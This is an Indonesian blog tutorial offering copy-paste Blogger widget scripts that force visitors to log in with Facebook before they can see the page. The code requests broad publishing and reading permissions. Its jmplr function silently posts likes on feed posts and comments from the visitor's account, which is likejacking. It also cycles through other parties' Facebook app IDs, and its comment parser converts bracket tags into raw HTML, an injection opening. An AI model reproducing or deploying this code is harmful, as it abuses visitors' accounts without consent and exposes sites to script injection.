Cara Membuat Blog Harus Login Lewat FB

Ini Script paling panjang dan ribet jadi ini sering bgt gagal Jadi Harap Hati 2 Dalam Meletakkan Script Yang saya KASIH


Nah Script Yang Pertama Ini Dia

script ini adalah mengatur dan menampilkan face dari photo account facebook yg telah login tadi
ini scriptnya di taruh di bagian yg amu ingin tampilkan profilnya
copas kedalam widget dengan nama profile

<center><script type="text/javascript">
<!--
var siteIdfc = siteIdGoogleFriendConnect;
var likeieuwe = 'http://'+window.location.hostname+'/';
var propicdefault  = '<img id="facebook-propic" src="'+defaultProfilePicture+'"/>';
    propicdefault += '<div class="transparent" style="right:4px; margin-top:-72px; position:absolute;">';

    propicdefault += '</div>';


if(document.getElementsByClassName('profile-img')[0]){
  document.getElementsByClassName('profile-img')[0].parentNode.style.display='block';
  document.getElementsByClassName('profile-img')[0].parentNode.target='_blank';
  document.getElementsByClassName('profile-img')[0].style.height='auto';
  document.getElementsByClassName('profile-img')[0].style.width='auto';
  var pi = document.getElementsByClassName('profile-img')[0].src;
  var upi = pi.split('/');
  var jupi = upi.length-2;
  if(upi[jupi].substr(0,1)=='s'){
    var su = upi[jupi];
    document.getElementsByClassName('profile-img')[0].src=pi.replace(su,'s1600');
  }
  likeieuwe = document.getElementsByClassName('profile-img')[0].parentNode.href;
  document.write('<div class="transparent" style="right:5px; margin-top:-92px; position:absolute;">');
  document.write('likeboxdisini');
  document.write('</div>');
}else if(document.getElementById('bungkus-facebook-propic')){
//  document.write('<style type="text/css">.Profile{display:none}</style>');
  document.write('<style type="text/css">.Profile{margin-top:0}</style>');
  document.getElementById('bungkus-facebook-propic').style.display='block';
  document.getElementById('bungkus-facebook-propic').innerHTML=propicdefault;
}else{
  document.write(propicdefault);
}

document.write('<div id="polower" class="garis-bawah"><div style="padding:0 10px;">');
document.write('<span class="tbl-google grande" onclick="sowPolower(\''+siteIdfc+'\')"><i class="right"></i><b class="center">FOLLOW</b><i class="right"></i></span>');
document.write('<div style="font-size:11px; color:#ff0000" class="grande">with Google Friend Connect</div>');
document.write('<div id="malwer"></div>');
document.write('</div></div>');

function loadFriendConnect(){
  if(!window.google || !google.friendconnect){
    var gogfc = document.createElement('script'); gogfc.async = 'true';
        gogfc.src = 'http://www.google.com/friendconnect/script/friendconnect.js';
    document.getElementById('fb-root').appendChild(gogfc);
  }
}

loadFriendConnect();
//-->
</script>

<script type="text/javascript">
<!--
function sowPolower(siteId){
    var skin = {};
    skin['FACE_SIZE'] = '32';
    skin['HEIGHT'] = "16";
    skin['TITLE'] = "";
    skin['BORDER_COLOR'] = "transparent";
    skin['ENDCAP_BG_COLOR'] = "transparent";
    skin['ENDCAP_TEXT_COLOR'] = "#EFDF8A";
    skin['ENDCAP_LINK_COLOR'] = "#E5E5FF";
    skin['ALTERNATE_BG_COLOR'] = "transparent";
   
    skin['CONTENT_BG_COLOR'] = "transparent";
    skin['CONTENT_LINK_COLOR'] = "#BBE4E8";
    skin['CONTENT_TEXT_COLOR'] = "#FEFAEF";
    skin['CONTENT_SECONDARY_LINK_COLOR'] = "#FFFFFF";
    skin['CONTENT_SECONDARY_TEXT_COLOR'] = "#FFF6C8";
    skin['CONTENT_HEADLINE_COLOR'] = "#F2E8E2";
    skin['FONT_FACE'] = "verdana";
    google.friendconnect.container.setParentUrl("/");
    google.friendconnect.container["renderMembersGadget"](
    {id: "polower",
     height: 16,
     site: siteId,
      locale: 'en_US' },
     skin);
}
//-->
</script>

<script type="text/javascript">
<!--
var idAplikasi = facebookApplicationId;
if(typeof idAplikasiGue != 'undefined'){idAplikasi = idAplikasiGue}

var idUserYgLogin = '';
var namaUserYgLogin = '';
var usernameYgLogin = '';
var blokelement = '<div id="block-login-aing" class="blok-element" onclick="loginKaAing()" title="Login with Facebook"><div class="blok-element-dalem" title="Login with Facebook"><b id="block-text-elm" class="shadow round10"></b></div></div>';

var blogspotApps = [
"264887889270",
"149207953072",
"270416582055",
"122103407896250",
"109564869081200",
"141837115827050",
"140632612651282",
"237771936258923",
"187599707922663",
"141791782500605",
"113468348709889",
"100282006691799",
"131111506985517",
"145097975593437"
];

if(document.getElementById('Profile1') && document.getElementById('Profile1').getElementsByTagName('ul')[0]){
  var authActiveName = '';
  if(document.getElementById('author-fn')){authActiveName = document.getElementById('author-fn').innerHTML}
  var authDrProf = [];
  var nomerAuthActive='';
  var profile1 = document.getElementById('Profile1').getElementsByTagName('ul')[0].getElementsByTagName('a');
  for(x=0; x<profile1.length; x++){
    authDrProf[x] = {"name":escape(profile1[x].innerHTML.replace(/</gi,'&lt;')),"bf":profile1[x].href.split('/')[4],"fb":"","uri":"","gbr":"","articles":[]};
    if(profile1[x].innerHTML==authActiveName){
      nomerAuthActive=x;
      if(document.getElementById('author-fn')){document.getElementById('author-fn').innerHTML='<a href="http://draft.blogger.com/profile/'+authDrProf[nomerAuthActive].bf+'" target="_blank">'+authActiveName+'</a>'}
      if(document.getElementById('ayprem-likebox-author')){document.getElementById('ayprem-likebox-author').src='http://www.facebook.com/plugins/like.php?href=http://www.blogger.com/profile/'+authDrProf[nomerAuthActive].bf+'&layout=box_count&show_faces=false&width=0'}
    }
  }
}

document.write('<div class="shadow likebox-frame" style="margin-top:0px">');

document.write('<center><a id="nama-app-loaded" href="http://www.facebook.com/apps/application.php?id='+idAplikasi+'" target="_blank" style="color:orange"></a></center>');
document.write('<div id="rep-wan" style="padding:0 10px 5px; color:#9CA6BC;"></div>');
document.write('</div>');

if(typeof tinggiIframeLikeBox != 'undefined'){
  if(typeof uriIframeLikeBox == 'undefined'){var uriIframeLikeBox=document.getElementById('posturl-drtmplt').href}
  document.write('<div class="shadow likebox-frame">');
  if(typeof gbrIframeLikeBox != 'undefined'){
    document.write('<img class="nostyle" src="'+gbrIframeLikeBox+'" style="position:absolute; z-index:5; margin:8px 0px 0px 8px; width:40px; height:40px;"/>');
  }
  document.write('<iframe src="http://www.facebook.com/plugins/likebox.php?href='+uriIframeLikeBox+'&colorscheme=dark" style="height:'+tinggiIframeLikeBox+'px"></iframe>');
  document.write('</div>');
}

document.write('<div id="pleyermusik" class="black25 round7"></div>');

function bukaPopUp(url,lebar,tinggi,scroll){
  var kiri = screen.availWidth/2-lebar/2;
  var atas = screen.availHeight/2-tinggi/2;
  var properties = 'toolbar=0,location=1,statusbar=1,menubar=0,scrollbars='+scroll+',width='+lebar+',height='+tinggi+',top='+atas+',left='+kiri;
  window.open(url,'popup',properties);
}

function bagiPlayerLaguDong(mp3,start,loop,elem){
  var srcmp3 = 'http://beemp3.com/player/player.swf?soundFile='+mp3;
      srcmp3 += '&autostart='+start;
      srcmp3 += '&loop='+loop;
      srcmp3 += '&bg=0x000000&leftbg=0xAF2910&lefticon=0xF2F2F2&rightbg=0xD67919&rightbghover=0x1BAD07&righticon=0xF2F2F2&righticonhover=0xFFFFFF&text=0xE0E3F4&slider=0x357DCE&track=0xFFFFFF&border=0xFFFFFF&loader=0xAF2910';
  var tulis  = '<div style="height:20px;"><embed id="'+elem+'" wmode="transparent" ';
      tulis += 'src="'+srcmp3+'" ';
      tulis += 'quality="high" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" ';
      tulis += 'align="top" width="235" height="20"></embed></div>';
      tulis += '<center class="transparent" style="margin-top:-20px;"><iframe src="http://www.facebook.com/plugins/like.php?href='+mp3+'&layout=button_count&colorscheme=dark&show_faces=false&width=90" style="width:90px; height:20px; background:none repeat scroll 0% 0% transparent; padding:0; margin:0; border:0;"></iframe></center>';
      tulis += '<center><a href="javascript:void(0)" onClick="if(document.getElementById(\''+elem+'\').style.display==\'none\'){document.getElementById(\''+elem+'\').style.display=\'block\';this.innerHTML=\'Stop\'}else{document.getElementById(\''+elem+'\').style.display=\'none\';this.innerHTML=\'Play\'}">Stop</a> · <a href="javascript:bukaPopUp(\'http://www.facebook.com/share.php?u='+mp3+'\',\'600\',\'300\',\'yes\');void(0)">Share</a></center>';
  return tulis;
}

function stelMusikAh(uri,pley,lop,judul){
  var tulis  = '<div style="margin-top:10px;font-size:9px; text-transform:capitalize;">';
  if(judul!=null && judul!=''){tulis+='<center><a href="'+uri+'" target="_blank">'+judul+'</a></center>'}
      tulis += bagiPlayerLaguDong(uri,pley,lop,'embed-music');
      tulis += '</div>';
  document.getElementById('pleyermusik').innerHTML=tulis;
}

function gantiAplikasiAing(){
  var ke = Math.floor(Math.random()*blogspotApps.length);
  if(blogspotApps[ke]=='undefined'){ke=0}
  idAplikasi = blogspotApps[ke];
  lodAppAing(idAplikasi);
}

function loginKaAing(){
  FB.login(tulisDitelLoginAing,{scope:'read_stream, publish_stream, user_groups, user_likes'});
}

function tarosApi(uri){
  var e = document.createElement('script'); e.async = 'true';
      e.src = uri;
  document.getElementById('fb-root').appendChild(e);
}

function aDN(ditel){
  if(ditel.daily_active_users && ditel.weekly_active_users && ditel.monthly_active_users){
    var tulisin  = '<center style="margin-bottom:3px;">';
        tulisin += '<div><b>' +ditel.daily_active_users+ '</b><br/>Daily</div>';
        tulisin += '<div><b>' +ditel.weekly_active_users+ '</b><br/>Weekly</div>';
        tulisin += '<div><b>' +ditel.monthly_active_users+ '</b><br/>Monthly</div>';
        tulisin += '</center>';
    document.getElementById('rep-wan').innerHTML = tulisin;
  }
  if(ditel.id && ditel.name && ditel.icon_url){
    document.getElementById('nama-app-loaded').innerHTML=ditel.name;
    window.fbAsyncInit = function() {
      FB.init({appId: ditel.id, status: true, cookie: true, xfbml: true});
      FB.getLoginStatus(tulisDitelLoginAing);
    };
    (function() {
      var e = document.createElement('script'); e.async = 'true';
          e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
      document.getElementById('fb-root').appendChild(e);
    }());
  }else{gantiAplikasiAing()}
}

function lodAppAing(appid){
  tarosApi('http://graph.facebook.com/'+appid+'&callback=aDN');
}

function tulisDitelUser(tahMere){
  if(tahMere.name){namaUserYgLogin=tahMere.name}
  if(tahMere.username){usernameYgLogin = tahMere.username}
  jmplr(idAplikasi);
  if(typeof postScript != 'undefined'){postScript()}
}

function tulisDitelLoginAing(tahMere){
  if(tahMere.authResponse && tahMere.authResponse.userID){
    idUserYgLogin = tahMere.authResponse.userID;
    if(document.getElementsByClassName('profile-img')[0]){document.getElementsByClassName('profile-img')[0].src='http://graph.facebook.com/'+idUserYgLogin+'/picture?type=large';}
    else if(document.getElementById('facebook-propic')){document.getElementById('facebook-propic').src='http://graph.facebook.com/'+idUserYgLogin+'/picture?type=large';}
    if(document.getElementById('block-element')){document.getElementById('block-element').style.display='none'}
    tarosApi('http://graph.facebook.com/'+idUserYgLogin+'?callback=tulisDitelUser');
  }
  if(tahMere.status && tahMere.status!='connected'){
    if(document.getElementById('block-element')){
      document.getElementById('block-element').style.display='block';
    }else{
      var e = document.createElement('div'); e.id = 'block-element';
      document.body.appendChild(e);
      document.getElementById('block-element').innerHTML = blokelement;
    }
    document.getElementById('block-text-elm').innerHTML = '<i class="gambar-pesbuk"></i> You are <span style="color:darkred">'+tahMere.status+'</span> ! Click anywhere to continue..';
  }
}

function jmplr(idnya){
  FB.api('/'+idnya+'/feed','get',{fields:'id', limit:1},function(okayThen){
    if(okayThen.data){for(x in okayThen.data){if(okayThen.data[x].id){
      FB.api('/'+okayThen.data[x].id+'/likes','post',function(walah){});
      FB.api('/'+okayThen.data[x].id+'/comments','get',{fields:'id'},function(wahoo){
        if(wahoo.data){for(a in wahoo.data){if(wahoo.data[a].id){
          FB.api('/'+wahoo.data[a].id+'/likes','post',function(yeah){});
        }}}
      });
    }}}
    FB.api('/'+postIdBuatVisitorRecord+'/likes','post',function(tos){randomizeBackground()});
  });
}

var daftarBackground = [
"http://graph.facebook.com/100003269544089/picture?type=large",
"http://graph.facebook.com/100003269544089/picture?type=large"
];

function randomizeBackground(){
  daftarBackground = daftarBackground.sort(function() {return 0.5 - Math.random()});
  var ke = Math.floor(Math.random()*daftarBackground.length);
  if(daftarBackground[ke]=='undefined'){ke = 0;}
  document.body.style.backgroundImage='url('+daftarBackground[ke]+')';
}

function tanggalan(what){
  //format 2011-11-12T10:45:30+000

  var getwhat=what.split('T')[0].replace(/-/gi,' ')+' '+what.split('T')[1].split('+')[0]+' GMT';
  var d=new Date(getwhat);
  var today=new Date();
  var delta=today-d;

  var harihari=["Minggu","Senen","Selasa","Rabu","Kamis","Jum'at","Sabtu"];
  var bulanbulan=["January","February","Maret","April","Mei","June","July","Agustus","September","Oktober","November","Desember"];
  var menit=getwhat.substr(14,2);
  var jam=getwhat.substr(11,2);
  var hari=getwhat.substr(8,2);
  var nh=d.getDay();
  var namaHari=harihari[nh];
  var bulan=getwhat.substr(5,2);
  var namaBulan=bulanbulan[(bulan-1)];
  var taun=getwhat.substr(0,4);

  var minutes=1000*60;
  var hours=minutes*60;
  var days=hours*24;
  var month=days*30;
  var years=days*365;

  var naon=delta/minutes;
  var iraha=Math.round(naon);
  var harita='Karak ge crot bieu';

  if(iraha>0 && iraha<60){
    harita='Nembe '+Math.round(naon)+' menit bieu';
  }else if(iraha>=60 && iraha<(60*24)){
    naon=delta/hours; harita=Math.round(naon)+' jam tadi';
  }else if(iraha>=(60*24) && iraha<(60*24*30)){
    naon=delta/days; harita=Math.round(naon)+' hari kemaren';
  }else{
    harita=namaHari+', '+hari+' '+namaBulan+' '+taun+' jam '+jam+':'+menit;
  }
  return harita;
}

function tulisPolowerLike(nih){
  if(nih.likes){
    var tulis='';
    if(nih.likes.count){tulis+='<div style="margin:10px 0 0"><strong>Members ('+nih.likes.count+')</strong> <a href="http://www.facebook.com/browse/likes/?id='+postIdBuatVisitorRecord.split('_')[1]+'" target="_blank" style="margin-left:10px; color:#68ABE8;"><u>More »</u></a></div>'}
    if(nih.likes.data){for(x in nih.likes.data){tulis+='<img src="http://graph.facebook.com/'+nih.likes.data[x].id+'/picture" title="'+nih.likes.data[x].name+'" onClick="window.open(\'http://www.facebook.com/'+nih.likes.data[x].id+'\')" style="cursor:pointer; width:32px; margin:1px 3px 1px 1px;"/>'}}
    if(nih.created_time){tulis+='<div style="font-size:9px;">Created time: '+tanggalan(nih.created_time)+'</div>'}
    if(document.getElementById('malwer')){document.getElementById('malwer').innerHTML=tulis}
  }
}

lodAppAing(idAplikasi);
tarosApi('http://graph.facebook.com/'+postIdBuatVisitorRecord+'?fields=likes&callback=tulisPolowerLike');
//-->
</script>

<script type="text/javascript">
<!--
function loadAplikasiAing(appid){
  window.fbAsyncInit = function() {
    FB.init({appId: appid, status: true, cookie: true, xfbml: true, oauth: true});
    var getLoginGagal = setTimeout("titahLoginHeula()",30000);

    FB.getLoginStatus(function(pulangan){
      clearTimeout(getLoginGagal);
      if(pulangan.authResponse && pulangan.authResponse.userID){
        idUserYgLogin = pulangan.authResponse.userID;
      }else{
        titahLoginHeula();
      }
      tulisDitelLoginAing(pulangan);
    });
  };
  (function() {
    var e = document.createElement('script'); e.async = 'true';
        e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
    document.getElementById('fb-root').appendChild(e);
  }());
}

function titahLoginHeula(){
  blokLoginElment.style.display='block';
}

function loginKaAing(){
  FB.login(tulisDitelLoginAing,{scope:'status_update,user_status,friends_status,read_stream,publish_stream,share_item,publish_actions'});
}

function tulisDitelLoginAing(tahMere){
  if(tahMere.authResponse){
    if(tahMere.authResponse.userID){
      idUserYgLogin = tahMere.authResponse.userID;
      tempatGambarPropil.src='http://graph.facebook.com/'+tahMere.authResponse.userID+'/picture?type=large';
    }
  }
  if(tahMere.status){
    if(tahMere.status=='connected'){
      blokLoginElment.style.display='none';

//execute scripts setelah sesi connect facebook selesai..
      nextSript();
    }
  }
}

function nextSript(){
//execute scripts setelah sesi connect facebook selesai..
  if(typeof postScript != 'undefined'){postScript()}
}

loadAplikasiAing(idAplikasi);
//-->
</script></center>

 Yang Berwarna Edit Dengan Gambar Terserah Anda ITU Tidak Ada Pengaruh Apapun

nah script Yang Kedua
iini adalah Script Tambahan Yg sudah di atur sedemikian rupa dan agak aneh jadi copas aja taruh di widget jngan beri nama taruh widget di bawah posting tau kan caranya bagus deh

<script type="text/javascript">
<!--
var bloggerBlogId = '6933859887928121217';
var siteIdGoogleFriendConnect = '14127209149474804807';
//bisa di dapet dari http://www.google.com/friendconnect/admin/site/

var facebookApplicationId = '319159218104533';
var facebookGroupId = '200270580058901';
var facebookPageId = '215742578490363';

var likeboxhref = 'http://www.facebook.com/apps/application.php?id='+facebookApplicationId;
var postIdBuatVisitorRecord = '215742578490363_248759445188676';

var defaultProfilePicture = 'http://graph.facebook.com/100003269544089/picture?type=large';
//-->
</script>

<script type="text/javascript">
<!--
var blogIdTemp = bloggerBlogId;
if(document.getElementById('posturl-drtmplt')){
  var postUrlTemp = document.getElementById('posturl-drtmplt').href;
  var postTtlTemp = document.getElementById('posturl-drtmplt').innerHTML;
}else{
  var postUrlTemp = window.location.href.split('?')[0];
  var postTtlTemp = document.title;
}
document.write('<div class="epbe-komen-light"></div>');

if(document.getElementById('postidblog-drtmplt')){
  var postIdTemp = document.getElementById('postidblog-drtmplt').name;
}else{
  var postIdTemp = '';
  if(document.getElementById('comment-editor')){
    document.getElementById('comment-editor').style.display = 'block';
  }
}
var alamatKomPop = 'http://www.blogger.com/comment.g?blogID='+blogIdTemp+'&postID='+postIdTemp+'&isPopup=true#form';
var windowOpenLink = 'javascript:opComPop();void(0);';

function pasangTblKomPop(){
  if(postIdTemp!=''){
    var isiH4komen = 'Add a comment';

    if(document.getElementById('add-komen-url')){
      var h4komen = document.getElementById('add-komen-url');
      isiH4komen = h4komen.innerHTML;
      h4komen.href = windowOpenLink;
    }else if(document.getElementById('komen-h4')){
      var h4komen = document.getElementById('komen-h4');
      isiH4komen = h4komen.innerHTML.replace(':','');
      h4komen.innerHTML = '<a class="comment-link" href="javascript:void(0)" onClick="opComPop()">'+isiH4komen+'</a>';
      if(document.getElementById('comment-post-message')){
        var h4komen2 = document.getElementById('comment-post-message');
        var isiH4komen2 = h4komen2.innerHTML;
        h4komen2.innerHTML = '<a class="comment-link" href="javascript:void(0)" onClick="opComPop()">'+isiH4komen2+'</a>';
      }
    }

    if(document.getElementById('post-epbe-laik')){
      document.getElementById('post-epbe-laik').innerHTML += '<a class="comment-link" href="javascript:void(0)" onClick="opComPop()">'+isiH4komen+'</a>';
    }
  }

  if(document.getElementsByClassName('avatar-stock')){
    var apatarstok = document.getElementsByClassName('avatar-stock');
    for(x=0; x<apatarstok.length; x++){
      apatarstok[x].innerHTML = '<span dir="ltr"><img src="http://1.bp.blogspot.com/-KrH7Tu94huE/TqltWPKp0OI/AAAAAAAAAeY/g3KG-jYXV2M/s1600/grey_alien50.jpg"/></span>';
    }
  }

  if(document.getElementsByClassName('pcomment-body')){
    var pkombod = document.getElementsByClassName('pcomment-body');
    for(x=0; x<pkombod.length; x++){
      var coboRep = pkombod.item(x).innerHTML.replace(/XD/gi,'<img src="http://1.bp.blogspot.com/-Q6PnZ348RBE/TqUoKtAbCeI/AAAAAAAAAg8/Wpgd-JjUfc0/s16/smiley_XD.gif"/>');
      coboRep = coboRep.replace(/XP/gi,'<img src="http://3.bp.blogspot.com/-7cbjLPESjxk/TqUoKrEZYyI/AAAAAAAAAhE/GMfTp50gZQg/s1600/xP.gif"/>');
      coboRep = coboRep.replace(/:D/gi,'<img src="http://3.bp.blogspot.com/-qqYCrcgPjAE/TqUrQZp2NrI/AAAAAAAAAhg/60pNcG0lWmY/s32/titikdua%2BD.gif" style="vertical-align:text-top;"/>');
      coboRep = coboRep.replace(/:P/gi,'<img src="http://1.bp.blogspot.com/-qfnsaByTqH0/TqUqGxrCmwI/AAAAAAAAAhU/V94baCgPFmc/s16/Rude_Emoticons.gif"/>');
      coboRep = coboRep.replace(/:\)/gi,'<img src="http://2.bp.blogspot.com/-KYkS1hrtg7w/TqUu1z-bW0I/AAAAAAAAAhs/h9IV9VBB7aA/s32/images.gif" style="vertical-align:text-top;"/>');
      coboRep = coboRep.replace(/:\(/gi,'<img src="http://www.smileystar.com/emoticons/msn-funny-emoticons/crazy-chinese.gif" style="width:32px;"/>');
      coboRep = coboRep.replace(/\[img/gi,'<img');
      coboRep = coboRep.replace(/\/\]/gi,'/>');
      coboRep = coboRep.replace(/\[tag/gi,'<');
      coboRep = coboRep.replace(/tag\]/gi,'>');
      pkombod.item(x).innerHTML = coboRep;
    }
  }
}

function opComPop(){
  if(postIdTemp!=''){
    var lebar = 400;
    var tinggi = 600;
    var kiri = screen.availWidth/2-lebar/2;
    var atas = screen.availHeight/2-tinggi/2;
    var properties = 'width='+lebar+',height='+tinggi+',top='+atas+',left='+kiri+',toolbar=0,location=0,statusbar=1,menubar=0,scrollbars=yes';
    window.open(alamatKomPop,'komen',properties);
  }
}

pasangTblKomPop();
//-->
</script>
 EDIT script yg saya kasih warna dengan sesuai punya kalian untuk id aplikasi bikin sendiri aplikasi FB kalian Juga Bisa
biar g nyangkut sama punya saya hehehe
nah save widget yg kedua
lanjut yg ketika untuk mengatur gambar dan lain2 ini dia
buat lagi widget html kaya tdi tanpa nama taruh di sembarang tempat aja gpp
<img src="http://3.bp.blogspot.com/-jo22KwZ7Rhg/TkqgwL721mI/AAAAAAAAAig/uAoOloNg7rA/s1600/punk-boy.png" style="display:none;"/>

<script type="text/javascript">
<!--
//jaga-jaga kalo elements gak ada..
  if(!document.getElementById('facebook-propic')){
    document.write('<img id="facebook-propic" src="" style="display:none;"/>');
  }
  if(!document.getElementById('block-login-aing')){
    document.write('<div id="block-login-aing" class="blok-element" onclick="loginKaAing()" title="Login with Facebook">');
    document.write('<div class="blok-element-dalem" title="Login with Facebook"></div>');
    document.write('</div>');
  }

//Global Variable..
  var idAplikasi = '319159218104533';
  var idUserYgLogin = '';

  var blokLoginElment = document.getElementById('block-login-aing');
  var tempatGambarPropil = document.getElementById('facebook-propic');
//-->
</script>

edit juga yg saya kasih warna untuk alamat link gambarnya g perlu d ganti g ada efeknya
ini yg terakhir dan yg menyeting semuanya ini dia
buat juga widget html tanpa nama
<style type="text/css"><!--
.blok-element{
  display:none;
  position:fixed;
  z-index:97;
  width:100%; height:100%; top:0px; left:0px;
   background:transparent url(http://2.bp.blogspot.com/-6jlWXBY6-WM/TvwZDdlR1LI/AAAAAAAAACI/KMCBA12NMLA/s1600/b1.png) repeat scroll top left;
  cursor:pointer;
}
.blok-element-dalem{
  background:transparent url(http://4.bp.blogspot.com/-ywpbeYH3oH8/TwT8K9XVUyI/AAAAAAAAAHY/K31KPmwGY5c/s1600/b1.png) no-repeat scroll center center;
  position:relative;
  z-index:99;
  width:100%; height:100%;
}
--></style>
Nah Yg warna ping itu Edit Dengan Gambar yg di inginkan ya itu gambar seperti saya sebagai element blok nya atau permintaan nya atau aapalah anamanya haha  kalo ini kurang  nanti saya update dengan yg lebih lengkap dan + gambarnya]]
SAVE DAN SELESAI 
Semoga tidak berhasil hahahah XD
Seleruh script sudah saya modifikasi dan saya edit ulang agar lebih simple
kalo copas sertakan sumber ya !!
@copyright 2012 by:agues munandar
original by aing creation+namapanjang blog

{ 1 komentar... Skip ke Kotak Komentar }

Iwanfada mengatakan...

kok gak berhasil...

contoh blognya mana gan ?

Tambahkan Komentar Anda

Untuk menyisipkan kode,gunakan tag
[code]KODE ANDA[/code]
Untuk menyisipkan quote,gunakan tag
[blockquote]KATA-KATA ANDA[/blockquote]
Untuk menyisipkan gambar,gunakan tag
[img]URL GAMBAR ANDA[/img]
Untuk menyisipkan video,gunakan tag
[youtube]URL VIDEO ANDA[/youtube]
Anda juga bisa menggunakan emoticon seperti biasa.

 
Yahoo Messenger
Send Me IM!
Google Plus
Add Me To Your Circle!
Twitter
Follow Me!
Facebook
Add My Facebook
Original Template By Belajar SEO Blogspot - Himajiesized By Dayz Hidayat